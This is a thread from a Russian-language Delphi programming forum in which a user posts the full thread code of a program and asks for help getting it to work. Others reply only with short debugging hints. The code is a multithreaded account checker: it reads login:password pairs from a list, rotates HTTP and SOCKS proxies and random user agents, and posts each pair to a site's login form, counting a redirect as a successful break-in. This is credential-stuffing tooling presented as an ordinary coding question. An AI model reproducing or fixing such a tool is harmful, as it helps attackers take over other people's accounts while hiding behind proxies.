Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 25.12.2013, 23:47   #11
alextrof94
Форумчанин
 
Регистрация: 16.03.2013
Сообщений: 599
По умолчанию

А ты SSL обработчик подключил? [2]
alextrof94$gmail.com
alextrof94 вне форума Ответить с цитированием
Старый 25.12.2013, 23:53   #12
Fahman
Форумчанин
 
Аватар для Fahman
 
Регистрация: 03.04.2013
Сообщений: 703
По умолчанию

Цитата:
Сообщение от alextrof94 Посмотреть сообщение
А ты SSL обработчик подключил? [2]
А как его правильно подключить, можно пример на основе кода который я скинул?

Код:
procedure ThePotok.Execute;
Var
Http: THTTPSend;
begin
 ReBrute:=False;
 While Work do
 Begin
 Cs.Enter;
 if ReBrute=False then
 Begin
 Inc(Acc);
 if Acc<AccountsList.Count then CurAcc:=Acc else Work:=False;
 End;
 Inc(Proxys);
 if Proxys<ProxyList.Count-1 then CurProxys:=Proxys else  begin
 Proxys:=0;
 CurProxys:=Proxys;
 End;
 Cs.Leave;
 if Work then begin
 Http:= THTTPSend.Create;
 Rez:=0;
 if Pos(':',AccountsList[Curacc])<>0 then
 Begin
   FAcc:=Copy(AccountsList[Curacc],1,pos(':',AccountsList[Curacc])-1);
   FPas:=Copy(AccountsList[Curacc],pos(':',AccountsList[Curacc])+1,Length(AccountsList[Curacc]));
 End else Begin
   FAcc:=Copy(AccountsList[Curacc],1,pos(';',AccountsList[Curacc])-1);
   FPas:=Copy(AccountsList[Curacc],pos(';',AccountsList[Curacc])+1,Length(AccountsList[Curacc]));
 End;

 if  ProxyType = 'HTTP/HTTPS' then
 Begin
   Http.ProxyHost:=Copy(ProxyList[CurProxys],1,pos(':',ProxyList[CurProxys])-1);
   Http.ProxyPort:=Copy(ProxyList[CurProxys],pos(':',ProxyList[CurProxys])+1,Length(ProxyList[CurProxys]));
 End;

 if ProxyType = 'SOCKS4/5' then
 Begin
   Http.Sock.SocksIP:=Copy(ProxyList[CurProxys],1,pos(':',ProxyList[CurProxys])-1);
   Http.Sock.SocksPort:=Copy(ProxyList[CurProxys],pos(':',ProxyList[CurProxys])+1,Length(ProxyList[CurProxys]));
 End;
   try
 Http.HTTPMethod('GET','https://Сайт');
         html.LoadFromStream(http.Document);
         token:=Pars('name="struts.token" value="', html.Text, '"');
     except
end;
 Data:= TStringStream.Create;
 Scr:= TStringList.Create;
 With HTTP Do Begin
 Headers.Add('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8');
 MimeType:='application/x-www-form-urlencoded';
 UserAgent:=GetRandomUserAgent;
 Document.Clear;
 End;
 Data.WriteString('struts.token.name=struts.token&struts.token='+token+'&j_username='+FAcc+'&j_password='+FPas+'&service-entity=np');
 Http.Document.LoadFromStream(Data);
 if Http.HTTPMethod('POST','https://Сайт') then
 if Pos('Location: https://сайт',HTTP.Headers.Text)<>0 then begin
   Rez:=1;
 end else begin
   Rez:=2;
 end;

 HTTP.Free;
 Scr.Free;
 Synchronize(Sync);
 End;
 Dec(Thread);
 if Thread = 0 then
 End;
end;
Вот полный код потока.
99% ошибок компьютера сидит в полуметре от монитора.

Последний раз редактировалось Stilet; 26.12.2013 в 09:17.
Fahman вне форума Ответить с цитированием
Старый 26.12.2013, 00:55   #13
alextrof94
Форумчанин
 
Регистрация: 16.03.2013
Сообщений: 599
По умолчанию

загугли "парсинг и я авторизация"
alextrof94$gmail.com
alextrof94 вне форума Ответить с цитированием
Старый 26.12.2013, 01:15   #14
Fahman
Форумчанин
 
Аватар для Fahman
 
Регистрация: 03.04.2013
Сообщений: 703
По умолчанию

выяснил что это не из-за "https" пробывал на обычном сайте, тоже не парсит, помогите, в чем проблема?
99% ошибок компьютера сидит в полуметре от монитора.
Fahman вне форума Ответить с цитированием
Старый 26.12.2013, 09:20   #15
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Отладка конечно же не помогает? )
I'm learning to live...
Stilet вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
авторизация wulf_01 Помощь студентам 2 11.04.2011 19:32
Авторизация trad C++ Builder 3 13.01.2011 01:27
Обычная авторизация или авторизация на уровне браузера? calugin Безопасность, Шифрование 0 13.01.2011 00:34
авторизация. DeDoK Работа с сетью в Delphi 3 02.07.2010 17:00